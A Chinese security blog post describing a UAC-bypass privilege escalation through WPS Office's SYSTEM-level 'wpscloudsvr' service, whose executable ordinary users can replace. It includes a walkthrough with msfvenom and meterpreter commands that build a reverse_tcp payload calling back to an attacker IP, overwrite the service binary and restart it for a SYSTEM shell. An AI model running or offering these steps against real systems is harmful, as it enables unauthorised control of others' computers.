利用WPS-Office绕过UAC提权

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

wpscloudsvr服务用于提供WPSOffice云服务,其中包括:云文档,文件安全性,VIP服务等,以实现完整和安全的用户体验,及时更新和错误修复,停止此服务将禁用云服务和及时错误修复等。


但这个服务貌似并没有起到其实际作用,因为它默认为停止状态,启动类型为禁止或者手动,而且运行的是WPSOffice安装目录下的wpscloudsvr.exe,并非该服务指定的wpscloudsvr.exe。

利用WPS-Office绕过UAC提权


本地测试环境信息:

操作系统:Windows 10教育版17134、Windows Server 2016 Datacenter软件版本:WPS Office 2020 11.1.0.9999WPS Office安装路径:D:WPS OfficeWPS Office进程名:wps.exewpscloudsvr.exeWPS Office服务名:wpscloudsvrWPS Office Cloud Service


0x02 绕过原理分析

WPSOffice在安装时创建的wpscloudsvr服务默认是以SYSTEM权限运行的,而且允许在ApplicationPoolIdentity、NetworkService和未过UAC的用户启动和停止该服务,并且有权限替换服务指定的wpscloudsvr.exe,所以能够直接利用这种方式进行权限提升,但需要注意以下几点。

1. 不是所有服务都可以用未过UAC的用户来启动和停止的,如:KugouService、Everything等;

2. wpscloudsvr.exe Users权限问题,Win10和2016默认给的权限不一样,可能会替换不了文件;

3. WPSOffic新版本中可能已经修复该问题,可以替换文件,但是不能启动wpscloudsvr服务;

get-acl .wpscloudsvr.exe | format-listicacls wpscloudsvr.exenet start wpscloudsvr
利用WPS-Office绕过UAC提权
利用WPS-Office绕过UAC提权


0x02 模拟实战测试

(1) 使用MSF下的post/windows/gather/enum_services模块获取当前主机上的服务信息,找到一个以SYSTEM权限运行的wpscloudsvr服务,并且可用net命令停止和开启该服务。

meterpreter > run post/windows/gather/enum_services
利用WPS-Office绕过UAC提权


(2) 既然有权限启动和停止wpscloudsvr服务,那么我们就直接将该服务的可执行文件替换为远控马或MSF攻击载荷,不过必须拥有Users完全控制权限才可替换,替换前记得备份一下,然后依次执行以下命令并重启wpscloudsvr服务后即可得到一个SYSTEM权限会话

[email protected]:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443-f exe > /tmp/wpscloudsvr.exe
meterpreter > cd C:\ProgramData\Kingsoft\office6\meterpreter > cp wpscloudsvr.exe wpscloudsvr1.exemeterpreter > upload /tmp/wpscloudsvr.exe wpscloudsvr.exemeterpreter > execute -Hc -i -f "c:\windows\system32\cmd.exe" -a "/c net start wpscloudsvr"
利用WPS-Office绕过UAC提权
利用WPS-Office绕过UAC提权


参考文章:

https://mp.weixin.qq.com/s/s1xWapre2xa5bAP-VoY_Ww




只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?

利用WPS-Office绕过UAC提权

本文始发于微信公众号(潇湘信安):利用WPS-Office绕过UAC提权

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: